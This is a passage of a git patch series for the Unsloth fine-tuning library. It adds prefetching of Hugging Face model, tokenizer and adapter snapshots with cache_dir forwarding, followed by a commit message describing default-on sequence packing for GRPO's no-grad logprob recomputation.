+        # revision: the load resolves model_name (maybe a remapped prequant repo) on its default branch.
+        _prefetched = maybe_prefetch_hf_snapshot(
+            model_name,
+            token = token,
+            cache_dir = kwargs.get("cache_dir"),
+            local_files_only = kwargs.get("local_files_only", False),
+            # Skip the warm only for a real vLLM load; a num_labels classification load still goes
+            # in-process below, so it must be warmed even under fast_inference.
+            fast_inference = fast_inference and num_labels is None,
+            subfolder = kwargs.get("subfolder"),
+            force_download = kwargs.get("force_download", False),
+            use_safetensors = kwargs.get("use_safetensors"),
+            from_tf = kwargs.get("from_tf", False),
+            from_flax = kwargs.get("from_flax", False),
+            # Bare load reads only ROOT weights; skip subdir weights. Ignored when a subfolder is set.
+            weights_at_root = True,
+            variant = kwargs.get("variant"),  # forward so the warm keeps the variant .bin
+            gguf_file = kwargs.get(
+                "gguf_file"
+            ),  # forward so the warm fetches the GGUF (else ignored)
+        )
+        # Child did the forced download; clear the flag so the load reuses the warm cache.
+        if _prefetched and kwargs.get("force_download", False):
+            kwargs["force_download"] = False
+
+        # Tokenizer always loads in-process. Resolve the cache_dir the tokenizer load will actually
+        # use, mirroring load_correct_tokenizer: without an explicit cache_dir, Colab/Kaggle route to
+        # a special tokenizer cache (huggingface_tokenizers_cache / Kaggle tmp), NOT the HF-default
+        # cache the base snapshot warmed. So the base warm does not cover the tokenizer there.
+        from ..tokenizer_utils import (
+            IS_COLAB_ENVIRONMENT,
+            IS_KAGGLE_ENVIRONMENT,
+            KAGGLE_TMP,
+        )
+
+        _tokenizer_repo = (
+            tokenizer_name if (isinstance(tokenizer_name, str) and tokenizer_name) else model_name
+        )
+        _tokenizer_cache_dir = kwargs.get("cache_dir")
+        if _tokenizer_cache_dir is None:
+            if IS_COLAB_ENVIRONMENT:
+                _tokenizer_cache_dir = "huggingface_tokenizers_cache"
+            elif IS_KAGGLE_ENVIRONMENT:
+                _tokenizer_cache_dir = os.path.join(KAGGLE_TMP, "huggingface_tokenizers_cache")
+        # Warm the tokenizer repo into the cache the load will use whenever the base warm did not
+        # cover it: a distinct tokenizer repo, fast_inference (base warm skipped), or a tokenizer
+        # cache_dir that differs from the base-warm cache_dir (Colab/Kaggle special cache).
+        _warm_tokenizer_repo = (
+            isinstance(_tokenizer_repo, str)
+            and bool(_tokenizer_repo)
+            and (
+                _tokenizer_repo != model_name
+                or fast_inference
+                or _tokenizer_cache_dir != kwargs.get("cache_dir")
+            )
+        )
+        if _warm_tokenizer_repo:
+            maybe_prefetch_hf_snapshot(
+                _tokenizer_repo,
+                token = token,
+                cache_dir = _tokenizer_cache_dir,
+                local_files_only = kwargs.get("local_files_only", False),
+                tokenizer_only = True,
+            )
+
         has_rope_scaling = False
         try:
             with open(inspect.getfile(model_function), "r", encoding = "utf-8") as file:
@@ -2672,6 +2739,10 @@ class FastLlamaModel:
 
         # Counteract saved tokenizers
         tokenizer_name = model_name if tokenizer_name is None else tokenizer_name
+        # Route the tokenizer load to the custom cache_dir the prefetch warmed.
+        _tokenizer_cache_kwargs = {}
+        if kwargs.get("cache_dir") is not None:
+            _tokenizer_cache_kwargs["cache_dir"] = kwargs["cache_dir"]
         tokenizer = load_correct_tokenizer(
             tokenizer_name = tokenizer_name,
             model_max_length = max_position_embeddings,
@@ -2679,6 +2750,7 @@ class FastLlamaModel:
             token = token,
             trust_remote_code = trust_remote_code,
             fix_tokenizer = fix_tokenizer,
+            **_tokenizer_cache_kwargs,
         )
 
         model, tokenizer = patch_tokenizer(model, tokenizer)
@@ -2805,6 +2877,7 @@ class FastLlamaModel:
                 model_max_length = max_position_embeddings,
                 padding_side = "right",
                 token = token,
+                cache_dir = kwargs.get("cache_dir"),
             )
         patch_saving_functions(tokenizer)
 
diff --git a/unsloth/models/loader.py b/unsloth/models/loader.py
index 562afdd645..84f808d2b5 100644
--- a/unsloth/models/loader.py
+++ b/unsloth/models/loader.py
@@ -106,6 +106,7 @@ from ._utils import (
     _is_family_text_decoder,
     _apply_text_only_key_mapping,
     set_task_config_attr,
+    maybe_prefetch_hf_snapshot,
 )
 
 # Single source of truth is unsloth_zoo.model_lists. Re-exported so callers
@@ -865,6 +866,28 @@ class FastLanguageModel(FastLlamaModel):
         if is_peft:
             # From https://github.com/huggingface/peft/issues/184
             # Now add PEFT adapters
+            # Warm the adapter repo: PeftModel downloads it in-process and can hang on Xet.
+            _prefetched = maybe_prefetch_hf_snapshot(
+                old_model_name,
+                token = token,
+                revision = revision,
+                cache_dir = kwargs.get("cache_dir"),
+                local_files_only = local_files_only,
+                # Adapter always loads in-process via PeftModel, so warm it even under fast_inference.
+                fast_inference = False,
+                force_download = kwargs.get("force_download", False),
+                # Leave use_safetensors auto (inheriting base format could skip a safetensors-only
+                # adapter). adapter_only restricts the warm to the adapter files + root aux.
+                adapter_only = True,
+            )
+            # Child did the forced download; clear the flag so the load reuses the warm cache.
+            if _prefetched and kwargs.get("force_download", False):
+                kwargs["force_download"] = False
+            # Forward cache_dir so the load reads the warmed adapter. No subfolder (that targets the
+            # base checkpoint; adapters live at the root).
+            peft_load_kwargs = {}
+            if kwargs.get("cache_dir") is not None:
+                peft_load_kwargs["cache_dir"] = kwargs["cache_dir"]
             model = PeftModel.from_pretrained(
                 model,
                 old_model_name,
@@ -873,6 +896,7 @@ class FastLanguageModel(FastLlamaModel):
                 local_files_only = local_files_only,
                 is_trainable = True,
                 trust_remote_code = trust_remote_code,
+                **peft_load_kwargs,
             )
             # Patch it as well!
             model = dispatch_model.patch_peft_model(model, use_gradient_checkpointing)
@@ -1790,6 +1814,28 @@ class FastModel(FastBaseModel):
 
                 _LoraModel._create_and_replace = _patched_car
 
+            # Warm the adapter repo: PeftModel downloads it in-process and can hang on Xet.
+            _prefetched = maybe_prefetch_hf_snapshot(
+                old_model_name,
+                token = token,
+                revision = revision,
+                cache_dir = kwargs.get("cache_dir"),
+                local_files_only = local_files_only,
+                # Adapter always loads in-process via PeftModel, so warm it even under fast_inference.
+                fast_inference = False,
+                force_download = kwargs.get("force_download", False),
+                # Leave use_safetensors auto (inheriting base format could skip a safetensors-only
+                # adapter). adapter_only restricts the warm to the adapter files + root aux.
+                adapter_only = True,
+            )
+            # Child did the forced download; clear the flag so the load reuses the warm cache.
+            if _prefetched and kwargs.get("force_download", False):
+                kwargs["force_download"] = False
+            # Forward cache_dir so the load reads the warmed adapter. No subfolder (that targets the
+            # base checkpoint; adapters live at the root).
+            peft_load_kwargs = {}
+            if kwargs.get("cache_dir") is not None:
+                peft_load_kwargs["cache_dir"] = kwargs["cache_dir"]
             try:
                 model = PeftModel.from_pretrained(
                     model,
@@ -1799,6 +1845,7 @@ class FastModel(FastBaseModel):
                     local_files_only = local_files_only,
                     is_trainable = True,
                     trust_remote_code = trust_remote_code,
+                    **peft_load_kwargs,
                 )
             finally:
                 # Always restore original PEFT method, even if loading fails
diff --git a/unsloth/models/sentence_transformer.py b/unsloth/models/sentence_transformer.py
index 7e43442bfd..c1172faa94 100644
--- a/unsloth/models/sentence_transformer.py
+++ b/unsloth/models/sentence_transformer.py
@@ -19,6 +19,7 @@ from ._utils import (
     SUPPORTS_BFLOAT16,
     resolve_model_class,
     resolve_encoder_attention_implementation,
+    maybe_prefetch_hf_snapshot,
 )
 import inspect
 import json
@@ -541,7 +542,12 @@ class FastSentenceTransformer(FastModel):
         return transformer_module
 
     @staticmethod
-    def _read_pooling_mode(model_name, token):
+    def _read_pooling_mode(
+        model_name,
+        token,
+        cache_dir = None,
+        revision = None,
+    ):
         """Read the pooling mode from modules.json, else return "mean"."""
         try:
             if os.path.exists(model_name) and os.path.exists(
@@ -549,7 +555,13 @@ class FastSentenceTransformer(FastModel):
             ):
                 modules_json_path = os.path.join(model_name, "modules.json")
             else:
-                modules_json_path = hf_hub_download(model_name, "modules.json", token = token)
+                modules_json_path = hf_hub_download(
+                    model_name,
+                    "modules.json",
+                    token = token,
+                    cache_dir = cache_dir,
+                    revision = revision,
+                )
 
             with open(modules_json_path, "r", encoding = "utf-8") as f:
                 modules_config = json.load(f)
@@ -571,6 +583,8 @@ class FastSentenceTransformer(FastModel):
                                 model_name,
                                 os.path.join(pooling_path, "config.json"),
                                 token = token,
+                                cache_dir = cache_dir,
+                                revision = revision,
                             )
                         break
 
@@ -950,7 +964,12 @@ class FastSentenceTransformer(FastModel):
             f.write(content)
 
     @staticmethod
-    def _module_path(model_name, token = None):
+    def _module_path(
+        model_name,
+        token = None,
+        cache_dir = None,
+        revision = None,
+    ):
         """Return the path to the modules.json file, or None."""
         try:
             if os.path.exists(model_name) and os.path.isdir(model_name):
@@ -958,7 +977,13 @@ class FastSentenceTransformer(FastModel):
                 return path if os.path.exists(path) else None
             else:
                 try:
-                    return hf_hub_download(model_name, "modules.json", token = token)
+                    return hf_hub_download(
+                        model_name,
+                        "modules.json",
+                        token = token,
+                        cache_dir = cache_dir,
+                        revision = revision,
+                    )
                 except:
                     return None
         except:
@@ -1135,6 +1160,8 @@ class FastSentenceTransformer(FastModel):
         max_seq_length,
         pooling_mode,
         trust_remote_code = False,
+        cache_dir = None,
+        revision = None,
     ) -> tuple[OrderedDict, bool]:
         """Load modules from modules.json, else fall back to hard-coded modules.
 
@@ -1145,7 +1172,9 @@ class FastSentenceTransformer(FastModel):
         from sentence_transformers.models import Pooling, Normalize
 
         modules = OrderedDict()
-        modules_json_path = FastSentenceTransformer._module_path(model_name, token)
+        modules_json_path = FastSentenceTransformer._module_path(
+            model_name, token, cache_dir = cache_dir, revision = revision
+        )
 
         if modules_json_path:
             with open(modules_json_path, encoding = "utf8") as f:
@@ -1171,7 +1200,13 @@ class FastSentenceTransformer(FastModel):
                         load_path = os.path.join(model_name, module_path)
                     else:
                         try:
-                            load_path = load_dir_path(model_name, module_path, token = token)
+                            load_path = load_dir_path(
+                                model_name,
+                                module_path,
+                                token = token,
+                                cache_folder = cache_dir,
+                                revision = revision,
+                            )
                         except Exception as e:
                             print(f"Unsloth Warning: Could not download module {module_path}: {e}")
                             continue
@@ -1198,7 +1233,9 @@ class FastSentenceTransformer(FastModel):
         hidden_size = getattr(model.config, "hidden_size", 768)
 
         if pooling_mode == "mean":
-            pooling_mode = FastSentenceTransformer._read_pooling_mode(model_name, token)
+            pooling_mode = FastSentenceTransformer._read_pooling_mode(
+                model_name, token, cache_dir = cache_dir, revision = revision
+            )
 
         modules["1"] = Pooling(word_embedding_dimension = hidden_size, pooling_mode = pooling_mode)
         modules["2"] = Normalize()
@@ -1386,6 +1423,45 @@ class FastSentenceTransformer(FastModel):
                 "Run `pip install sentence-transformers` to install it."
             )
 
+        # Validate the load modes BEFORE the prefetch so a bad config fails without downloading weights.
+        # Guard on not for_inference: that branch below never used these flags.
+        if not for_inference:
+            # sanity check, thanks Etherl:
+            if full_finetuning and (load_in_4bit or load_in_8bit):
+                print(
+                    "Unsloth: You selected full finetuning support, but 4bit / 8bit is enabled - disabling LoRA / QLoRA."
+                )
+                load_in_4bit = False
+                load_in_8bit = False
+                load_in_fp8 = False
+                load_in_16bit = False
+
+            if int(load_in_4bit) + int(load_in_8bit) + int(load_in_16bit) >= 2:
+                raise RuntimeError(
+                    "Unsloth: Can only load in 4bit or 8bit or 16bit, not a combination!\n"
+                    "Also, we by default set `load_in_16bit = True`.\n"
+                    "If you want 4bit LoRA finetuning, set `load_in_16bit = False` and `load_in_4bit = True`\n"
+                    "If you want 8bit finetuning, set both `load_in_16bit = False` and `load_in_8bit = True`"
+                )
+
+        # Prefetch so the ST load below is a cache hit. weights_at_root stays False (ST component
+        # weights live in per-module subfolders). Resolve the same cache the load uses: HF cache_dir,
+        # else cache_folder, else SENTENCE_TRANSFORMERS_HOME, else default -- a wrong cache misses the warm.
+        _st_prefetched = maybe_prefetch_hf_snapshot(
+            model_name,
+            token = token,
+            revision = revision,
+            cache_dir = kwargs.get("cache_dir")
+            or kwargs.get("cache_folder")
+            or os.environ.get("SENTENCE_TRANSFORMERS_HOME"),
+            local_files_only = kwargs.get("local_files_only", False),
+            # Forward force_download so the refresh happens in the killable child, then clear it so the
+            # in-process ST load reuses the warm cache instead of re-downloading over unguarded Xet.
+            force_download = kwargs.get("force_download", False),
+        )
+        if _st_prefetched and kwargs.get("force_download", False):
+            kwargs["force_download"] = False
+
         # if for_inference == True, skip Unsloth optimizations to avoid torch compile issues
         if for_inference:
             st_device = device_map
@@ -1416,27 +1492,16 @@ class FastSentenceTransformer(FastModel):
                 if k in kwargs:
                     st_kwargs[k] = kwargs[k]
 
+            # ST takes cache_folder, not cache_dir: map cache_dir onto it so this load hits the warm
+            # (None lets ST honor SENTENCE_TRANSFORMERS_HOME, matching the prefetch).
+            _st_cache = kwargs.get("cache_dir") or kwargs.get("cache_folder")
+            if _st_cache is not None:
+                st_kwargs["cache_folder"] = _st_cache
+
             st_model = SentenceTransformer(model_name, **st_kwargs)
             return st_model
 
-        # sanity check, thanks Etherl:
-        if full_finetuning and (load_in_4bit or load_in_8bit):
-            print(
-                "Unsloth: You selected full finetuning support, but 4bit / 8bit is enabled - disabling LoRA / QLoRA."
-            )
-            load_in_4bit = False
-            load_in_8bit = False
-            load_in_fp8 = False
-            load_in_16bit = False
-
-        if int(load_in_4bit) + int(load_in_8bit) + int(load_in_16bit) >= 2:
-            raise RuntimeError(
-                "Unsloth: Can only load in 4bit or 8bit or 16bit, not a combination!\n"
-                "Also, we by default set `load_in_16bit = True`.\n"
-                "If you want 4bit LoRA finetuning, set `load_in_16bit = False` and `load_in_4bit = True`\n"
-                "If you want 8bit finetuning, set both `load_in_16bit = False` and `load_in_8bit = True`"
-            )
-
+        # Load-mode validation already ran before the prefetch above.
         if "auto_model" not in kwargs:
             kwargs["auto_model"] = AutoModel
 
@@ -1533,7 +1598,8 @@ class FastSentenceTransformer(FastModel):
                 elif is_mpnet:
                     FastSentenceTransformer._patch_mpnet_v5()
 
-            # Load via native SentenceTransformer (bypasses Unsloth patching)
+            # ST takes cache_folder, not cache_dir: map cache_dir onto it so this load hits the warm
+            # (None lets ST honor SENTENCE_TRANSFORMERS_HOME, matching the prefetch).
             st_model = SentenceTransformer(
                 model_name,
                 device = st_device,
@@ -1541,6 +1607,7 @@ class FastSentenceTransformer(FastModel):
                 token = token,
                 revision = revision,
                 model_kwargs = model_kwargs,
+                cache_folder = kwargs.get("cache_dir") or kwargs.get("cache_folder"),
             )
 
             # Store metadata for get_peft_model
@@ -1646,7 +1713,18 @@ class FastSentenceTransformer(FastModel):
 
         # No modules.json -> force 16-bit: saving is custom for these models and
         # 4-bit would need dequant in save_pretrained_merged, not worth it.
-        has_modules_json = FastSentenceTransformer._module_path(model_name, token) is not None
+        # Resolve the warmed cache: hf_hub_download ignores SENTENCE_TRANSFORMERS_HOME, so pass it as cache_dir.
+        has_modules_json = (
+            FastSentenceTransformer._module_path(
+                model_name,
+                token,
+                cache_dir = kwargs.get("cache_dir")
+                or kwargs.get("cache_folder")
+                or os.environ.get("SENTENCE_TRANSFORMERS_HOME"),
+                revision = revision,
+            )
+            is not None
+        )
 
         if not has_modules_json and load_in_4bit:
             print(
@@ -1656,6 +1734,12 @@ class FastSentenceTransformer(FastModel):
             load_in_4bit = False
             load_in_16bit = True
 
+        # The fallback FastModel load reads HF cache_dir, not ST's cache_folder/SENTENCE_TRANSFORMERS_HOME.
+        # Point it at the warmed cache, but only when no explicit cache_dir was passed (which wins).
+        _st_cache_dir = kwargs.get("cache_folder") or os.environ.get("SENTENCE_TRANSFORMERS_HOME")
+        if _st_cache_dir is not None and "cache_dir" not in kwargs:
+            kwargs["cache_dir"] = _st_cache_dir
+
         try:
             model, tokenizer = FastModel.from_pretrained(
                 model_name = model_name,
@@ -1697,6 +1781,12 @@ class FastSentenceTransformer(FastModel):
             max_seq_length,
             pooling_mode,
             trust_remote_code = trust_remote_code,
+            # Same resolved cache as above so the fallback module loads hit the warm, not Xet.
+            cache_dir = kwargs.get("cache_dir")
+            or kwargs.get("cache_folder")
+            or os.environ.get("SENTENCE_TRANSFORMERS_HOME"),
+            # Same revision as the weight load so modules hit the warm (None = default branch).
+            revision = revision,
         )
 
         st_device = device_map
diff --git a/unsloth/models/vision.py b/unsloth/models/vision.py
index 689e362f95..179bd0b650 100644
--- a/unsloth/models/vision.py
+++ b/unsloth/models/vision.py
@@ -551,6 +551,7 @@ def _construct_vlm_processor_fallback(
     model_type,
     token,
     trust_remote_code,
+    cache_dir = None,
     local_files_only = False,
 ):
     """Build a VLM processor manually when AutoProcessor.from_pretrained fails (some VLMs
@@ -568,6 +569,7 @@ def _construct_vlm_processor_fallback(
             tokenizer_name,
             token = token,
             trust_remote_code = trust_remote_code,
+            cache_dir = cache_dir,
             local_files_only = local_files_only,
         )
         # Load tokenizer via PreTrainedTokenizerFast (bypasses tokenizer_class check)
@@ -576,6 +578,7 @@ def _construct_vlm_processor_fallback(
             padding_side = "left",
             token = token,
             trust_remote_code = trust_remote_code,
+            cache_dir = cache_dir,
             local_files_only = local_files_only,
         )
         # Read tokenizer_config.json for special tokens: prefer the local file (offline
@@ -601,6 +604,7 @@ def _construct_vlm_processor_fallback(
                     tokenizer_name,
                     "tokenizer_config.json",
                     token = token,
+                    cache_dir = cache_dir,
                     local_files_only = local_files_only,
                 )
                 with open(config_path, "r", encoding = "utf-8") as f:
@@ -632,6 +636,7 @@ def _construct_vlm_processor_fallback(
                     tokenizer_name,
                     token = token,
                     trust_remote_code = trust_remote_code,
+                    cache_dir = cache_dir,
                     local_files_only = local_files_only,
                 )
                 proc_class_name = PROCESSOR_MAPPING_NAMES.get(config.model_type)
@@ -872,6 +877,9 @@ class FastBaseModel:
         # For debugging - we use a download counter to see if environments are not breaking or if HF is down
         get_statistics(kwargs.get("local_files_only", False))
 
+        # The base + tokenizer prefetch runs AFTER the load-mode validation below, so an invalid
+        # load_in_* combination fails without first downloading a snapshot.
+
         if dtype is None:
             dtype = torch.float16 if not SUPPORTS_BFLOAT16 else torch.bfloat16
         elif os.environ.get("UNSLOTH_FORCE_FLOAT32", "0") == "1":
@@ -968,6 +976,53 @@ class FastBaseModel:
             raise RuntimeError(
                 "Unsloth: Can only load in 4bit or 8bit or 16bit, not a combination!"
             )
+
+        # Prefetch the repo (killable child) so the in-process load below is a cache hit. vLLM owns the
+        # weight download only when actually available; if fast_inference was requested but vLLM is
+        # missing, the load falls through in-process, so weights must still be warmed here.
+        _vllm_owns_weights = fast_inference and is_vLLM_available()
+        _prefetched = maybe_prefetch_hf_snapshot(
+            model_name,
+            token = token,
+            revision = kwargs.get("revision"),
+            cache_dir = kwargs.get("cache_dir"),
+            local_files_only = kwargs.get("local_files_only", False),
+            fast_inference = _vllm_owns_weights,
+            subfolder = kwargs.get("subfolder"),
+            force_download = kwargs.get("force_download", False),
+            use_safetensors = kwargs.get("use_safetensors"),
+            from_tf = kwargs.get("from_tf", False),
+            from_flax = kwargs.get("from_flax", False),
+            # Bare load reads only ROOT weights; skip subdir weights. Ignored when a subfolder is set.
+            weights_at_root = True,
+            variant = kwargs.get("variant"),  # forward so the warm keeps the variant .bin
+            gguf_file = kwargs.get(
+                "gguf_file"
+            ),  # forward so the warm fetches the GGUF (else ignored)
+        )
+        # Child did the forced download; clear the flag so the load reuses the warm cache.
+        if _prefetched and kwargs.get("force_download", False):
+            kwargs["force_download"] = False
+
+        # Warm a SEPARATE tokenizer repo only (model_name is covered above). Not model_name here: this
+        # runs before fast_inference_setup may remap the repo, so it would warm the wrong one.
+        _tokenizer_repo = (
+            tokenizer_name if (isinstance(tokenizer_name, str) and tokenizer_name) else model_name
+        )
+        _warm_tokenizer_repo = (
+            isinstance(_tokenizer_repo, str)
+            and bool(_tokenizer_repo)
+            and _tokenizer_repo != model_name
+        )
+        if _warm_tokenizer_repo:
+            maybe_prefetch_hf_snapshot(
+                _tokenizer_repo,
+                token = token,
+                cache_dir = kwargs.get("cache_dir"),
+                local_files_only = kwargs.get("local_files_only", False),
+                tokenizer_only = True,
+            )
+
         _skip_modules = SKIP_QUANTIZATION_MODULES.copy()
         # Nemotron-H uses 'mixer' (not 'mamba') for Mamba layers.
         # Mamba fused kernels pass out_proj.weight directly to F.linear,
@@ -1278,6 +1333,18 @@ class FastBaseModel:
         # Counteract saved tokenizers
         tokenizer_name = model_name if tokenizer_name is None else tokenizer_name
 
+        # On the vLLM path the tokenizer warm was deferred (fast_inference_setup may remap model_name).
+        # Warm the now-final tokenizer repo so the load below hits the cache (a cached/local repo is a no-op).
+        if _vllm_owns_weights and isinstance(tokenizer_name, str) and tokenizer_name:
+            maybe_prefetch_hf_snapshot(
+                tokenizer_name,
+                token = token,
+                revision = kwargs.get("revision"),
+                cache_dir = kwargs.get("cache_dir"),
+                local_files_only = kwargs.get("local_files_only", False),
+                tokenizer_only = True,
+            )
+
         # Fix _Unsloth_Patched_ prefix in local config files from old saves (issue #4085)
         if os.path.isdir(tokenizer_name):
             import json as _json
@@ -1315,6 +1382,7 @@ class FastBaseModel:
                         language = whisper_language,
                         task = whisper_task,
                         trust_remote_code = trust_remote_code,
+                        cache_dir = kwargs.get("cache_dir"),
                         local_files_only = lfo,
                     )
                 except Exception as _e:
@@ -1327,6 +1395,7 @@ class FastBaseModel:
                         padding_side = "left",
                         token = token,
                         trust_remote_code = trust_remote_code,
+                        cache_dir = kwargs.get("cache_dir"),
                         local_files_only = lfo,
                     )
                 except Exception as _e:
@@ -1337,6 +1406,7 @@ class FastBaseModel:
                             padding_side = "left",
                             token = token,
                             trust_remote_code = trust_remote_code,
+                            cache_dir = kwargs.get("cache_dir"),
                             local_files_only = lfo,
                         )
                     except Exception:
@@ -1355,6 +1425,7 @@ class FastBaseModel:
                         model_type_arch,
                         token,
                         trust_remote_code,
+                        cache_dir = kwargs.get("cache_dir"),
                         local_files_only = lfo,
                     )
                 except Exception as _fe:
@@ -1440,6 +1511,7 @@ class FastBaseModel:
                     padding_side = "left",
                     token = token,
                     trust_remote_code = trust_remote_code,
+                    cache_dir = kwargs.get("cache_dir"),
                     local_files_only = local_files_only,
                 )
                 model, _fallback_tok = patch_tokenizer(model, _fallback_tok)
@@ -1469,6 +1541,7 @@ class FastBaseModel:
                         padding_side = "left",
                         token = token,
                         trust_remote_code = trust_remote_code,
+                        cache_dir = kwargs.get("cache_dir"),
                         local_files_only = lfo,
                     )
                 except Exception:
@@ -1478,6 +1551,7 @@ class FastBaseModel:
                         padding_side = "left",
                         token = token,
                         trust_remote_code = trust_remote_code,
+                        cache_dir = kwargs.get("cache_dir"),
                         local_files_only = lfo,
                     )
 
diff --git a/unsloth/tokenizer_utils.py b/unsloth/tokenizer_utils.py
index 93dfa9b2ad..3a91ef188d 100644
--- a/unsloth/tokenizer_utils.py
+++ b/unsloth/tokenizer_utils.py
@@ -563,8 +563,11 @@ def _load_correct_tokenizer(
         # /tmp of Kaggle seems has a 80GB limit!
         # Let's utilize them
         cache_dir = os.path.join(KAGGLE_TMP, cache_dir)
-    else:
+    elif cache_dir == "huggingface_tokenizers_cache":
+        # This default name is Colab/Kaggle-only; elsewhere use the HF default cache.
         cache_dir = None
+    # else: keep a caller-supplied cache_dir so the tokenizer loads from the prefetch-warmed dir instead
+    # of risking an in-process Hub/Xet transfer.
 
     # Try loading the slow tokenizer. If it fails, then try Fast only
     # Mainly to solve Deepseek models with no tokenizer.model file
@@ -1323,6 +1326,7 @@ def check_tokenizer(
     padding_side = "right",
     token = None,
     _reload = True,
+    cache_dir = None,
 ):
     # Checks tokenizer for out of bounds ids.
     # Mainly a fix for https://huggingface.co/berkeley-nest/Starling-LM-7B-alpha
@@ -1413,10 +1417,11 @@ def check_tokenizer(
                     f"Fix your tokenizer since it'll perform out of bounds memory accesses."
                 )
 
-            if IS_COLAB_ENVIRONMENT or IS_KAGGLE_ENVIRONMENT:
-                cache_dir = "huggingface_tokenizers_cache"
-            else:
-                cache_dir = None
+            # Reuse a caller-supplied cache_dir (warmed cache) for the repair reload; else the
+            # Colab/Kaggle sentinel (HF default elsewhere), as load_correct_tokenizer does.
+            reload_cache_dir = cache_dir
+            if reload_cache_dir is None and (IS_COLAB_ENVIRONMENT or IS_KAGGLE_ENVIRONMENT):
+                reload_cache_dir = "huggingface_tokenizers_cache"
 
             # Sometimes slow tokenizer does not work like Deepseek
             try:
@@ -1430,7 +1435,7 @@ def check_tokenizer(
                     use_fast = False,
                     legacy = False,
                     from_slow = True,
-                    cache_dir = cache_dir,
+                    cache_dir = reload_cache_dir,
                 )
                 return check_tokenizer(
                     model = model,
@@ -1440,6 +1445,7 @@ def check_tokenizer(
                     padding_side = padding_side,
                     token = token,
                     _reload = False,
+                    cache_dir = cache_dir,
                 )
                 break
             except:

From 9407d491933d82ea377687e93c672d03e0387c1b Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 6 Jul 2026 05:17:39 -0700
Subject: [PATCH 196/306] GRPO: sequence packing for the no-grad old/ref logp
 path (default-on) (#6738)

* GRPO: optional sequence packing for the no-grad old/ref logp path

Add an opt-in sequence-packing fast path to _get_per_token_logps_and_entropies, enabled with
UNSLOTH_GRPO_SEQ_PACKING=1. When the batch is text-only, the padded [B, Lmax] per-chunk forward is
replaced by a single varlen [1, sum L] forward (BlockDiagonalCausalMask via packed_seq_lengths with
reset position_ids). Per-token logps use the same float32 chunked_hidden_states_selective_log_softmax
as the padded path, so the old and reference logps are bit-for-bit identical.

Safety: the packed path is self-verified once against the padded ground truth on a batch that has at
least two rows with real completion tokens (self._unsloth_seq_packing_nograd_ok), so cross-sample
contamination would actually manifest; a degenerate all-pad / fully tool-masked batch leaves the
verdict unset and re-verifies later. If a backend silently ignores packed_seq_lengths (flat batch run
under a normal causal mask, samples leaking across boundaries), the packed logps will not match and
packing is disabled instead of corrupting logps. It also forces use_cache=False (a populated
past_key_value disables varlen packing), skips packing when a sliding window is shorter than the
packed stream, runs the same GPT-OSS offload device_synchronize the padded loop uses, and falls back
on any exception (UNSLOTH_GRPO_SEQ_PACKING_DEBUG=1 prints the reason).

Default off, so existing behavior is unchanged. Pairs with the matching gradient-path change in
unsloth_zoo so the full GRPO logp + loss + backward can run packed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* GRPO no-grad packing: address review feedback

- Cache the packed-vs-padded verdict per unwrapped model instead of on the
  trainer, so a separately forwarded reference model is verified on its own
  forward path rather than inheriting the policy model's verdict.
- Force the padded path when token_type_ids or mm_token_type_ids are present,
  matching the extra vision kwargs the padded loop forwards.
- Require the xformers varlen backend before packing. Without it the packed
  mask falls back to a dense O(T^2) SDPA mask that can OOM on the flattened
  batch, so we keep the padded loop in that case.
- On any packed-forward failure (missing backend, OOM, unsupported forward)
  empty the cache on OOM, disable packing for that model, and fall back to the
  chunked padded loop instead of retrying every step.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* GRPO no-grad packing: default-on, verify against per-row reference

Redesign of the optional sequence-packing fast path for the no-grad
old/ref logprob recompute, after establishing that the packed forward is
the exact per-row computation and the padded batch forward is the side
that mis-positions left-padded rows on long completions.

- Default the packing on (UNSLOTH_GRPO_SEQ_PACKING, disable with 0).
- Verify the packed logprobs against the per-row clean forward (each
  row's real tokens alone, reset 0-based positions, no padding), not the
  padded batch which is itself wrong for left-padding. Cross-sample
  contamination (a backend ignoring packed_seq_lengths) shows up as a
  large mismatch and falls back to the padded loop.
- Make the trust decision shape and RoPE aware: re-verify whenever the
  packed total length or the longest segment grows past what was
  verified, so a later batch crossing a LongRoPE short/long cache
  boundary is re-checked instead of trusted blindly.
- Run lm_head only on completion-prediction positions instead of every
  packed prompt token, so long-prompt/short-completion batches do not
  pay for projecting the whole packed prompt.
- Drop the hard xformers import so the path also runs in
  FlashAttention-only environments; the per-row verification guards
  correctness regardless of backend.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* GRPO no-grad packing: disable entirely on cross-sample mismatch

When the per-row verification fails, distinguish the two failure modes by
magnitude instead of by sequence length:

- A large mismatch (>= 1.5) is the cross-sample contamination signature:
  the model's attention does not honor the block-diagonal packed mask
  (seen on some MoE / custom-attention models, e.g. qwen2_moe). Disable
  packing entirely for the model so later batches do not pay the
  verification cost again.
- A moderate mismatch is more likely a length-boundary effect (a LongRoPE
  short/long cache switch): keep marking just that length region unsafe so
  packing still runs for smaller shapes.

Validated: Qwen1.5-MoE falls back after a single verification (grad and
no-grad ok flags go False, no re-verify on later steps); dense Llama-3.2
and Qwen3 still verify and engage packing.

* GRPO no-grad packing: trim comments to be concise

* GRPO no-grad packing: fix per-row completion boundary for left-padded rows

The completion-target selection used a single global boundary
(col >= L - logits_to_keep). After left-packing, each row's completion
starts at (L - logits_to_keep) - left_pad[row], so for left-padded rows
the first left_pad completion tokens fall below the global boundary and
were dropped, leaving 0 logprobs at real completion positions that the
loss mask keeps. Use the per-row boundary so packed coverage matches
create_completion_attention_mask exactly, and widen the self-verify mask
to the full per-row completion region so it can catch coverage gaps.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* GRPO no-grad packing: gate verification on real completion rows

Count active rows via create_completion_attention_mask (the same mask the
loss uses) instead of any non-pad token in the packed window. Prompt-only
rows carry prompt-overflow tokens in the window and could otherwise satisfy
the >= 2 verification guard, letting a batch with a single real completion
row cache a trust decision. This matches the gradient path, which already
gates on the completion mask. The same mask is reused for the self-verify
comparison.

* GRPO no-grad packing: gate debug logging on UNSLOTH_ENABLE_LOGGING

Use the shared UNSLOTH_ENABLE_LOGGING global (import_fixes, re-exported by
_utils) instead of a bespoke UNSLOTH_GRPO_SEQ_PACKING_DEBUG env var for the
packing debug prints, matching the rest of the codebase.

* GRPO packing: import UNSLOTH_ENABLE_LOGGING inside the injected logp function

